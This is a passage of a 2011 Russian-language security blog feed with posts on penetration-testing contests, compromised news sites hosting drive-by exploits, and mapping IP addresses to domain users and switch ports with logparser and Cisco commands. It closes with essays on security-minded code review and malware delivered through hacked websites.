/&gt;&lt;br /&gt;Теперь перейдем к аргументам моих оппонентов. &lt;/span&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;1. Возможна низкая эффективность такого конкурса.&lt;/span&gt; &lt;/span&gt;&lt;span style="font-family:arial;"&gt;Тут мне кажется, что все зависит от мотивации&lt;/span&gt;. &lt;span style="font-family:arial;"&gt;Можно придумать неплохую стратегию проведения таких конкурсов, где продумать вопросы мотивации участников. Сейчас, банально, чем выше призовой фонд, тем бОльшая эффективность будет у конкурса. В любом случае, все работают за деньги. Можно продумать какие-либо еще варианты: какое-нибудь схемы взаимного сотрудничества, рекламы и т.п. &lt;/span&gt;&lt;span style=" font-style: italic;font-family:arial;" &gt;&lt;br /&gt;2. Подобные конкурсы будут работать только в разовых акциях и непригодны для постоянного процесса.&lt;/span&gt; &lt;span style="font-family:arial;"&gt;Во-первых, совсем не обязательно пентестить сайт на постоянной основе, скажем, раз в год.&lt;/span&gt; &lt;span style="font-family:arial;"&gt;Во-вторых, все опять же упирается в мотивацию: никто не мешает, например, оплачивать любую информацию об обнаруженной уязвимости, - при такой постановке вопроса уже мы наблюдаем процесс. Примерно это может выглядеть так: Заказчик сделал Интернет-сервис, запустил конкурс. Условиями может быть оплата &lt;span style="font-style: italic;"&gt;каждой &lt;/span&gt;найденной уязвимости в пропорции к ее критичности, например (все это можно прописать в техтребованиях).&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-style: italic;"&gt;3. Подобные конкурсы приведут к тому, что &lt;a href="http://en.wikipedia.org/wiki/Black_hat"&gt;Черные шляпки&lt;/a&gt; будут использовать найденные уязвимости в своих грязных делишках&lt;/span&gt;.&lt;/span&gt; &lt;span style="font-family:arial;"&gt;Мое мнение, что на этот риск наличие или отсутствие конкурса никакого влияния не имеет. Позиция, что меня никто не ломает, потому что обо мне никто не знает не очень вяжется с маркетингом, поскольку если Интернет-сервис &lt;span style="font-style: italic;"&gt;должен &lt;/span&gt;приносить прибыль, он &lt;span style="font-style: italic;"&gt;должен &lt;/span&gt;быть известен. Ну а с тем, что ломают то, что известно и посещаемо - надо мириться и как-то бороться.&lt;/span&gt;&lt;span style="font-family:arial;"&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;4. Публичная огласка степени "дырявости" веб-ресурса серьезно подмочет репутацию компании Заказчика. Стратегия "молчания в тряпочку" - наиболее разумная. &lt;/span&gt;Во-первых, все зависит от важности сайта для бизнеса Заказчика. Если сайт является, что называется, core-бизнес, то, уверен, его надо публично исследовать. Во-вторых, публикации типа &lt;a href="http://www.xakep.ru/post/53710/"&gt;этой&lt;/a&gt;, даже если они вышли до фактического исправления, на мой взгляд, вызывают меньший резонанс, чем информация о том, что какой-нибудь &lt;a href="http://carder-isp.livejournal.com/524.html"&gt;Изя Питерский&lt;/a&gt; тайно заломал сайт 15 месяцев назад, извелкал из него какую-либо выгоду, а когда надоело - продал конкурентам, которые глумились уже более продуманным образом (еще раз, публичность или непубличность исследований не будет хоть как-то коррелировать с работой Изи). Выход публикаций об узявимостях уже означает, что по ним рабоатют и латают. К тому же, остается надежда на этичность исследователей и подобные уязвимости пойдут в публикацию уже после исправления. Я абсолютно уверен, что стратегия "молчания в тряпочку" значительно менее эффективна, чем всестороннее исследование.&lt;br /&gt;&lt;br /&gt;Напоследок, еще раз хочется подытожить, что то, что такие конкурсы обходятся дешевле среднестатистического пентеста - не основной мой аргумент ЗА, основное здесь - большая гарантия качества, чем при классическом конкурсном подходе в случае работ, где качество оценить самому Заказчику крайне сложно. Но есть Сообщество, которое поможет. Все-таки я склонен думать, что хороших людей больше и идея &lt;a href="http://reply-to-all.blogspot.com/2010/03/blog-post_22.html"&gt;свободы информации&lt;/a&gt; в добрых целях жива не только в моем сознании.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7672604585980488566-1619695713234548784?l=reply-to-all.blogspot.com' alt='' /&gt;&lt;/div&gt;</description><link>http://reply-to-all.blogspot.com/2011/11/blog-post_06.html</link><author>noreply@blogger.com (Sergey Soldatov)</author><thr:total>4</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7672604585980488566.post-790712550943358899</guid><pubDate>Fri, 04 Nov 2011 19:12:00 +0000</pubDate><atom:updated>2011-11-04T23:22:29.012+04:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Enterprise Security</category><category domain="http://www.blogger.com/atom/ns#">Audit</category><title>Приз вместо оплаты услуг</title><description>&lt;span style="font-family:arial;"&gt;Вот тоже интересная &lt;a href="http://clubs.ya.ru/company/replies.xml?item_no=40601"&gt;идея&lt;/a&gt;! Допустим, по вашим корпоративным стандартам положено пентестить каждый web-сервис, который должен волей бизнеса быть доступен из Интернет. Видя приз  в $5000 могу с уверенностью сказать, что эта сумма значительно ниже заказного пентеста. Может, лучше такие конкурсы объявлять, чем конкурсы на выбор подрядчика?!&lt;/span&gt;&lt;br /&gt;&lt;ul style="font-family: arial;"&gt;&lt;li&gt;Нет риска, что работа будет выполнена плохо: действительно платим только победителю, значит, он что-то найдет (можно &lt;a href="http://reply-to-all.blogspot.com/2008/12/blog-post_12.html"&gt;тут &lt;/a&gt;ознакомиться с примерно полным перечнем опасений).&lt;/li&gt;&lt;/ul&gt;&lt;ul style="font-family: arial;"&gt;&lt;li&gt;Цена - крайне привлекательна.&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7672604585980488566-790712550943358899?l=reply-to-all.blogspot.com' alt='' /&gt;&lt;/div&gt;</description><link>http://reply-to-all.blogspot.com/2011/11/blog-post_04.html</link><author>noreply@blogger.com (Sergey Soldatov)</author><thr:total>3</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7672604585980488566.post-2121735844015079674</guid><pubDate>Thu, 03 Nov 2011 17:44:00 +0000</pubDate><atom:updated>2011-11-03T23:17:55.807+04:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Web</category><category domain="http://www.blogger.com/atom/ns#">Malware</category><title>О Рекламе и Антирекламе</title><description>&lt;span style="font-family:arial;"&gt;Мы в нашем &lt;a href="http://en.wikipedia.org/wiki/Security_Operations_Center"&gt;SOC&lt;/a&gt;-е уже давно трейсим &lt;a href="http://reply-to-all.blogspot.com/2011/10/web.html"&gt;проблему &lt;/a&gt;с переменным ус&lt;/span&gt;&lt;span style="font-family:arial;"&gt;пехом&lt;/span&gt;: &lt;span style="font-family:arial;"&gt;каждый день тонны новых сайтов, хостящих эксплоиты причем в чем угодно: pdf, swf, java, exe ...&lt;/span&gt; &lt;span style="font-family:arial;"&gt;Куча сэмплов засылаются в антивирусных вендоров, virustotal напрягается, вендоры тоже, наш хелпдеск устал перезаливать десктопы, мы с И&lt;/span&gt;&lt;span style="font-family:arial;"&gt;Т-шниками постоянно в тонусе: ломаем голову как бы это закрыть&lt;/span&gt; &lt;span style="font-family:arial;"&gt;на периметре, чтобы более не напрягал&lt;/span&gt;&lt;span style="font-family:arial;"&gt;о. Пока не понятно в чью пользу. Мы склонны думать, что это работает автомат, которого постоянно подкармливают эксплоитами и пейлоадами, а также потенциальными целями (выбираются наиболее посещаемые сайты) и снимают "урожай" уже компрометированных клиентов. Возможно, последние потом просто продаются, но это вопрос отдельного изучения.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:arial;"&gt;Впечатляют масштабы этого безобразия: мы анализируем только посещения наших пользователей, да у нас большая сеть, но в масштабах Интернет - капля. Достаточно много вполне себе приличных сайтов новостей, известных на всю стра&lt;/span&gt;&lt;span style="font-family:arial;"&gt;ну организаций взломано. Причем, когда мы сообщаем в соотвествующие поддержки сайтов и про&lt;/span&gt;&lt;span style="font-family:arial;"&gt;блема устраняется, практически на следующий день снова наблюдаем хостящийся эксплоит :-)&lt;br /&gt;&lt;br /&gt;Среди таких известных и в то же время уже разломанных сай&lt;/span&gt;&lt;span style="font-family:arial;"&gt;тов, &lt;/span&gt;&lt;span style="font-family:arial;"&gt;с хостящимся эксплоитом - &lt;/span&gt;&lt;a title="Информационное агентство УРА.ru" href="http://ura.ru/" target="_blank"&gt;URA.RU&lt;/a&gt;. &lt;span style="font-family:arial;"&gt;При заходе на сайт приятно ви&lt;/span&gt;&lt;span style="font-family:arial;"&gt;деть, что мой домашний Касперский не спит (думаю, любой из вас может это увидеть):&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/-kEBc10AF8dY/TrLXQ7ienZI/AAAAAAAAAzI/jTaVFxU-o6o/s1600/k1.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 359px; height: 332px;" src="http://2.bp.blogspot.com/-kEBc10AF8dY/TrLXQ7ienZI/AAAAAAAAAzI/jTaVFxU-o6o/s400/k1.JPG" alt="" id="BLOGGER_PHOTO_ID_5670831566673059218" border="0" /&gt;&lt;/a&gt;&lt;span style="font-family:arial;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-gfiriyauSec/TrLXfbpG_qI/AAAAAAAAAzU/AsvSyumQH8Y/s1600/k2.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 353px; height: 158px;" src="http://4.bp.blogspot.com/-gfiriyauSec/TrLXfbpG_qI/AAAAAAAAAzU/AsvSyumQH8Y/s400/k2.JPG" alt="" id="BLOGGER_PHOTO_ID_5670831815808974498" border="0" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-family:arial;"&gt;Здорово, правда? В целом, гордится не чем.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;Однако, вполне себе приличная и известная Компания, специализирующаяся как раз на обеспечении информационной безопасности на своем сайте среди уважаемых клиентов с гордостью перечисляет:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/-ToctMXbHS5U/TrLYmmXgFyI/AAAAAAAAAzg/u3N3aHyfDx8/s1600/ib.bmp"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 355px; height: 400px;" src="http://3.bp.blogspot.com/-ToctMXbHS5U/TrLYmmXgFyI/AAAAAAAAAzg/u3N3aHyfDx8/s400/ib.bmp" alt="" id="BLOGGER_PHOTO_ID_5670833038458623778" border="0" /&gt;&lt;/a&gt;&lt;a href="http://www.group-ib.ru/press_0505042011.html"&gt;Илья&lt;/a&gt;, если вы читаете, пожалуйста, помогите клиенту.&lt;br /&gt;&lt;br /&gt;Размещать известных клиентов на своем сайте - общая практика. А ведь так просто этим же себе и навредить....&lt;br /&gt;&lt;br /&gt;Я ни в  коем случае не хотел бы в этом посте задеть чьи-либо интересы, нет. Я очередной раз задумался о том, что любая палка имеет &lt;span style="font-style: italic;"&gt;как минимум&lt;/span&gt; два конца и, порой, преследуя одно, мы получаем совсем другое. Опыт показывает, что захачить можно практически любой сайт и совсем не значит, что его писали плохие разработчики и администрят плохие админы: слова "плохой" и "хороший" - относительны, а любая консалтинговая компания стремится обозначить своих клиентов, тем самым немного добавив в копилку мнения прохожего о качестве своих услуг.&lt;br /&gt;&lt;br /&gt;Может, разве что, ссылки не давать со своего сайта, оставив одни логотипы :)&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7672604585980488566-2121735844015079674?l=reply-to-all.blogspot.com' alt='' /&gt;&lt;/div&gt;</description><link>http://reply-to-all.blogspot.com/2011/11/blog-post.html</link><author>noreply@blogger.com (Sergey Soldatov)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-kEBc10AF8dY/TrLXQ7ienZI/AAAAAAAAAzI/jTaVFxU-o6o/s72-c/k1.JPG" height="72" width="72" /><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7672604585980488566.post-5199397200118901324</guid><pubDate>Mon, 31 Oct 2011 13:22:00 +0000</pubDate><atom:updated>2011-11-01T07:12:41.744+04:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Tools</category><category domain="http://www.blogger.com/atom/ns#">Security</category><title>Определяем кто это</title><description>&lt;span style="font-family:arial;"&gt;В продолжение некоторых повествований о &lt;a href="http://reply-to-all.blogspot.com/2011/07/nmap.html"&gt;Tool-ах&lt;/a&gt; напишу об одном из методов определения личности из IP-адреса (или MAC-адреса, или порта коммутатора) в управлеяемой сети. Здесь я не буду выписывать конкретные скрипты, но если на то будет потребность, куда-нибудь их выложу.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;Под "управляемой" я понимаю сеть, где используется какой-то корпоаративный каталог и предприняты меры, чтобы все пользователи в этом каталоге как минимум аутентифицировались. В данной статье в роли каталога будет &lt;a href="http://en.wikipedia.org/wiki/Active_Directory"&gt;MS ActiveDirectory&lt;/a&gt;. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;Соответствие IP-адрес (крайне актуально при использовании DHCP!) логину в домен можно взять из события входа в домен.&lt;br /&gt;Для Windows 2003 - это event ID &lt;span style="font-weight: bold;"&gt;540&lt;/span&gt;, для Windows 2008 - &lt;span style="font-weight: bold;"&gt;4624&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Выгружуть логи входа в домен можно прямо в базу MSSQL &lt;a href="http://www.microsoft.com/download/en/details.aspx?displaylang=en&amp;amp;id=24659"&gt;logparser&lt;/a&gt;-ом, например, вот так:&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;logparser "SELECT TimeGenerated,EXTRACT_TOKEN(Strings,UNN,'|') AS UserName, EXTRACT_TOKEN(Strings,SNAN,'|') AS SourceNetworkAddress, EXTRACT_TOKEN(Strings,APN,'|') AS AuthenticationPackage INTO TABLENAME FROM \\SERVERNAME\Security WHERE EventID=EVENT AND TimeGenerated &amp;gt; SUB( SYSTEM_TIMESTAMP(), TIMESTAMP('2', 'd') ) AND UserName NOT IN ('';'ANONYMOUS LOGON';'OTHER YOU DONT NEED') AND SourceNetworkAddress &amp;lt;&amp;gt; '-' AND UserName NOT LIKE '%\$'  GROUP BY TimeGenerated, UserName, SourceNetworkAddress, AuthenticationPackage " -i:EVT -o:SQL -server:DBSERVER -database:DBNAME -ignoreIdCols:ON -transactionRowCount:1000 -iCheckpoint:CPFILE&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Здесь &lt;span style="font-family:courier new;"&gt;EVENT &lt;/span&gt;соответствующий EventID, &lt;span style="font-family:courier new;"&gt;SERVERNAME &lt;/span&gt;- сервер с которого забирать логи (контроллер домена), &lt;span style="font-family:courier new;"&gt;TABLENAME &lt;/span&gt;- имя таблицы куда положить, &lt;span style="font-family:courier new;"&gt;DBSERVER &lt;/span&gt;- сервер базы, где лежит &lt;span style="font-family:courier new;"&gt;TABLENAME&lt;/span&gt;, &lt;span style="font-family: courier new;"&gt;DBNAME &lt;/span&gt;- имя базы данных на сервер &lt;span style="font-family: courier new;"&gt;DBSERVER&lt;/span&gt;, &lt;span style="font-family:courier new;"&gt;CPFILE &lt;/span&gt;- файл контрольной точки (см помощь по logparser-у)&lt;br /&gt;При этом отфильтровываются все "не люди", типа ANONYMOUS LOGON или Что-то$ (является компьютером).&lt;br /&gt;&lt;br /&gt;Команда EXTRACT_TOKEN извлекает из переменной Strings токены (разделенные | ) с соотвествующими номерами (фактически, это место того или иного значения в переменной Strings). Чтобы было понятно, покажу как выглядит поле Strings:&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;S-1-0-0|-|-|0x0|S-1-5-21-2470146651-3958396388-2989495117-22222222|wgates|WINDOMAIN|0x1d4bdaa0|3|Kerberos|Kerberos||{65E49E5E-ABDF-AA83-C373-B27A1ED589E7}|-|-|0|0x0|-|1.1.1.1|3325&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Для разных Windows на разных местах стоят различные параметры события. Нам нужны:&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;UserName&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;SourceNetworkAddress&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;AuthenticationPackage&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Соотвествующие им номера токенов в приведенной выше команде:&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;UNN &lt;/span&gt;- место в Strings для значения &lt;/span&gt;&lt;span style="font-family:arial;"&gt;UserName&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-family:courier new;"&gt;SNAN &lt;/span&gt;- для &lt;/span&gt;&lt;span style="font-family:arial;"&gt;SourceNetworkAddress&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-family:courier new;"&gt;APN &lt;/span&gt;- для &lt;/span&gt;&lt;span style="font-family:arial;"&gt;AuthenticationPackage&lt;br /&gt;&lt;br /&gt;Соотвествующие значения для 2003:&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;UNN =&amp;gt; 0,&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;SNAN =&amp;gt; 13&lt;/span&gt;,&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;APN =&amp;gt; 5,&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Для 2008:&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;UNN =&amp;gt; 5,&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;SNAN =&amp;gt; 18,&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;APN =&amp;gt; 10,&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:arial;"&gt;&lt;br /&gt;Чтобы подставить правильный EventID, нужно узнать какая версия ОС на SERVERNAME. Это тоже можно сделать logparser-ом, так как последний умеет читать и из реестра:&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;logparser "SELECT Value FROM '\\SERVERNAME\HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion' WHERE ValueName = 'ProductName' " -i:REG -o:NAT -headers:OFF -recurse:0 -q:ON&lt;/span&gt;&lt;br /&gt;Для 2003 будет возвращено:&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Microsoft Windows Server &lt;/span&gt;&lt;span style="font-weight: bold; font-family:courier new;" &gt;2003&lt;/span&gt;&lt;br /&gt;Для 2008 что-нибудь вроде:&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Windows Server &lt;/span&gt;&lt;span style="font-weight: bold; font-family:courier new;" &gt;2008 &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;R2 Enterprise&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Еще немаловажно, как бы это странно не звучало, найти все контроллеры домена. Тут нам поможет штатная команда Windows:&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;netdom query /D:DOMAINNAME DC&lt;/span&gt;&lt;br /&gt;Она вернет список NetBIOS-имен контроллеров домена, которые затем нужно подставлять вместо SERVERNAME в указанные выше команды.&lt;br /&gt;&lt;br /&gt;Итак, из таблицы TABLENAME мы можем получить связку IP - ADLogin.&lt;br /&gt;&lt;br /&gt;Далее, связку IP - MAC можно получить с маршрутизатора.&lt;br /&gt;Для маршрутизатора Cisco команда такая:&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;show ip arp&lt;/span&gt;&lt;br /&gt;Если используется &lt;a href="http://en.wikipedia.org/wiki/Virtual_Routing_and_Forwarding"&gt;VRF &lt;/a&gt;(скорее всего да, поскольку это уже общепринятая практика), соответственно:&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;show ip arp vrf VRFNAME&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Поскольку MAC, как правило, в обычных условиях не меняют, можно сказать, что компьютер уникально идентифицировали.&lt;br /&gt;&lt;br /&gt;В целом, можно воспользоваться DNS-именем, оно тоже нечасто меняется. Хотя, для рабочих станций пользователей ситуация может и меняться.&lt;br /&gt;&lt;br /&gt;Последнее, хочется установить коммутатор и номер порта, где этот пользователь располагается. Эту информмацию можно взять с коммутатора. Команды:&lt;br /&gt;Для IOS-а:&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;show  mac-address-table dyn&lt;/span&gt;&lt;br /&gt;Для CatOS-а:&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;sh cam dynamic&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Команды вернут связку VLAN-MAC-PORT, название коммутатора, соответственно, - где эту команду вызывали.&lt;br /&gt;&lt;br /&gt;Проблема здесь только в том, что надо отфильтровать &lt;a href="http://en.wikipedia.org/wiki/IEEE_802.1Q"&gt;транки&lt;/a&gt;. Какие порты транковые можно узнать так:&lt;br /&gt;для CatOS:&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;show trunk&lt;/span&gt;&lt;br /&gt;Для IOS:&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;show interface status&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Подведем итог:&lt;br /&gt;IP-ADLogin - берем из контролера домена, события входа в домен&lt;br /&gt;IP-MAC - берем с маршрутизатора&lt;br /&gt;VLAN-MAC-PORT-SWITCH - берем с коммутатора.&lt;br /&gt;&lt;br /&gt;Если есть какая-либо база разводки СКС, то PORT-SWITCH можно преобразовать в непосредственное метопололжение в офисе. В целом, все что нужно.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Применения.&lt;/span&gt;&lt;br /&gt;Приведу лишь некоторые, активно используемые в практике.&lt;br /&gt;1. Определение физического местоположения злоумышленника.&lt;br /&gt;2. Отслеживание перемещений сотрудников по рабочим местам, офисам.&lt;br /&gt;3. Фиксация прихода на работу по событию 'interface up/down' коммутатора. Событие содержит номер порта, который можно преобразовать в Login.&lt;br /&gt;4. Поиск всех компьютеров, на которых логинился в домен пользователь.&lt;br /&gt;....&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-family:courier new;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7672604585980488566-5199397200118901324?l=reply-to-all.blogspot.com' alt='' /&gt;&lt;/div&gt;</description><link>http://reply-to-all.blogspot.com/2011/10/blog-post_31.html</link><author>noreply@blogger.com (Sergey Soldatov)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7672604585980488566.post-1399274240042408276</guid><pubDate>Thu, 27 Oct 2011 04:11:00 +0000</pubDate><atom:updated>2011-10-27T09:06:12.592+04:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Software</category><title>Разработчик ПО - безопасник</title><description>&lt;span style="font-family: arial;"&gt;Давно я уже не работаю программистом и вопросами как это делается сейчас "в промышленых" масштабах не интересуюсь, но, может, кому покажется полезной идея, изложенная здесь.&lt;br /&gt;&lt;br /&gt;Все пограммные продукты, которые я когд-либо разрабатывал в конечном итоге были мною и спроектированы. Конечно, я тоже читал умные книжки о том, что надо сначала все спланировать, продумать алгоритм, нарисовать все схемки, предусмотреть все мелочи .... и только потом брать какую-нибудь &lt;a href="http://en.wikipedia.org/wiki/Software_Development_Environment"&gt;SDE&lt;/a&gt; и кодировать. Но, я никогда не программировал с промышленных масштабах, в крупных командах, и в, конечном итоге, сам себе был и архитектор и реализатор. Думаю, что, тем не менее, я не в меньшинстве: всегда есть начальство, которое дает высокоуровневую задачу, реализацию которой от начала до конца следует продумать нам, подчиненным.&lt;br /&gt;&lt;br /&gt;Из опыта (возможно плохого и неправильного с т.з. высокой науки планирования программных решений) могу сказать, что на момент начала кодирования далеко не все мелочи продуманы и даже некоторые запланированные фрагменты основного алгоритма по ходу реализации могут значительно изменяться. Причин таких изменений "по ходу реализации" может быть великое множество и я бы не хотел их тут подробно разбирать, может быть, когда-нибудь потом. Когда такие изменения некуда эскалировать, я сам и разработчик, и архитектор, и главный идейный генератор, я уже перехожу в разряд "творцов" и программирование для меня из &lt;span style="font-style: italic;"&gt;механики&lt;/span&gt; (буквально перевод на язык программирования == переводчик) в что-то вроде, не побоюсь этого, &lt;span style="font-style: italic;"&gt;творчества &lt;/span&gt;(== художник, писатель). Очевидно, что при тврочестве у меня уже нет возможности (да и я сам не рекомендовал бы распыляться!) мне уже некогда обращать внимание на правильность и точность механических действий (приведу не очень удачный пример: когда я увлеченно говорю на неродном для себя языке, я допускаю грамматические ошибки, поскольку я не могу в момент увлеченности жестко контролировать технику механики, собственно, речи: грамматику, произношение и т.п. Пример не очень удачен, ввиду того, что если я имею достаточно большую практику, я буду механически говорить правильно не напрягаясь. Но такая "привычка делать правильно" не может развиться при кодировании). Т.е. когда я творю, я, скорее всего, не думаю о безопасности моего кода, я концентрируюсь на функционале. Как следствие, я не проверяю входные параметры (поскольку такие проверки, при отсутствии стандартных функций сильно напрягают мозг), я не использую "&lt;a href="http://msdn.microsoft.com/en-us/library/239ffwa0%28VS.80%29.aspx"&gt;безопасные&lt;/a&gt;" варианты функций и много чего еще не делаю, что надо бы, но не хочется отвлекаться, чтобы не потерять &lt;span style="font-style: italic;"&gt;мысль&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Решением данной проблемы мне видится появление (а может уже где есть) специального класса "программистов-безопасников", которые потом будут вычитывать исходные коды за "творцами" и исправлять потенциально небезопасные реализации. Этот процесс, как мне кажется, можно достаточно хорошо поставить на поток, поскольку есть масса матерала о том, как надо писать на том или ином языке, и как не надо. Можно все эти "рекомендации" собрать, систематизировать и использовать. Можно даже что-то проверять, наверно, автоматизированными средствами, которые смогут выискивать потенциально небезопасные конструкции.&lt;br /&gt;&lt;br /&gt;Из экономических соображений (еще один безопасник!), хочется программиста-безопасника интегрировать в обычного программиста, а всю творческую составляющую полность от него отнять. Мой (сразу скажу - небольшой) опыт показывает что полностью это сделать не получится. Обилие уязвимостей, связанных именно с программной реализацией: все виды переполнения буфера, всякие инъекции, всевозможные кросс-сайт штуки и т.п. показывает, что обзр исходников на безопасность если и производится, то крайне плохо.&lt;br /&gt;&lt;br /&gt;Еще один возможный камень в огород моего предложения - не будет решена проблема архитектурных уязвимостей. Но, кто будет спорить с необходимостью привлечения безопасности на всех этапах &lt;a href="http://en.wikipedia.org/wiki/Systems_Development_Life_Cycle"&gt;SDLC&lt;/a&gt;!? Мой (на сей раз уже значительный) опыт участия в проектах в качестве того самого безопасника-эксперта показывает, что не только в разных проектах нужен безопасник разной специализации (думаю, это очевидно, не буду объяснять), но и на разных этапах нужен также профессионал в соответствующей области. А слово "профессионал" в моем, возможно, извращенном представлении, никак не ассоциируется с уточнением "широкого профиля" - нельзя быть профессионалом во всем.&lt;br /&gt;&lt;br /&gt;Напомню, что здесь на ваш суд я обозначил потребность в программисте-безопаснике. Традиционно, любые мысли приветствуются.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7672604585980488566-1399274240042408276?l=reply-to-all.blogspot.com' alt='' /&gt;&lt;/div&gt;</description><link>http://reply-to-all.blogspot.com/2011/10/blog-post_27.html</link><author>noreply@blogger.com (Sergey Soldatov)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7672604585980488566.post-1063357035603703982</guid><pubDate>Thu, 20 Oct 2011 04:06:00 +0000</pubDate><atom:updated>2011-10-20T10:06:55.464+04:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Web</category><category domain="http://www.blogger.com/atom/ns#">Malware</category><title>Безопасность Web-приложений со стороны пользователя</title><description>&lt;span style="font-family:arial;"&gt;Опыт анализа логов IDS и web-прокси только по одной компании полностью подтверждает &lt;a href="http://devteev.blogspot.com/2011/09/4.html"&gt;написанное&lt;/a&gt;.&lt;/span&gt; &lt;span style="font-family:arial;"&gt;Вообще, у меня сложилось впечатление, что:&lt;br /&gt;1. Хостеры, сайтописатели и службы безопасности интернет-представительств либо плохо работают, либо вовсе не следят за своими сайтами. Первое время мы оповещали владельцев сайтов, что их сайт взломан и на нем хостится "что-то", что потом залетает к нашим пользователям, посещающим их сайт. После нескольких, достаточно веселых переписок, напоминающих легенду о вымирании динозавров (их тело было настолько большим, а нервная система настолько несовершенна, что нервный импульс от хвоста до мозга доходил несколько минут), я посчитал это занятие малоэффективным.&lt;br /&gt;2. В Интернет существует просто громаднейшее количество сайтов, которые так или иначе скомпрометированы. Даже если сайт имеет Имя, совсем не значит, что он не может хостить "что-то", чего вы бы не хотели получить. К этому надо быть готовым.&lt;br /&gt;&lt;br /&gt;К сожалению, никто кроме нас нам не поможет.&lt;br /&gt;&lt;br /&gt;Как это выглядит? Приведу лишь словесное описание и один пример (, как это выглядит в лолгах.&lt;br /&gt;На страничку сайта как-то попадает ссылка на "нехороший" сайт, который хостит PDF, Java-апплет или Flash-ролик. Внутри PDF - JavaScript, который уже закачивает, возможно, с другого "нехорошего" сайта бинарник, представляющий собой зловред. Наш печальный опыт показывает, что подавляющее большинство этих зловредов не ловятся практически никаким антивирусом (использовали virustotal). Понятно, что антивирусы &lt;a 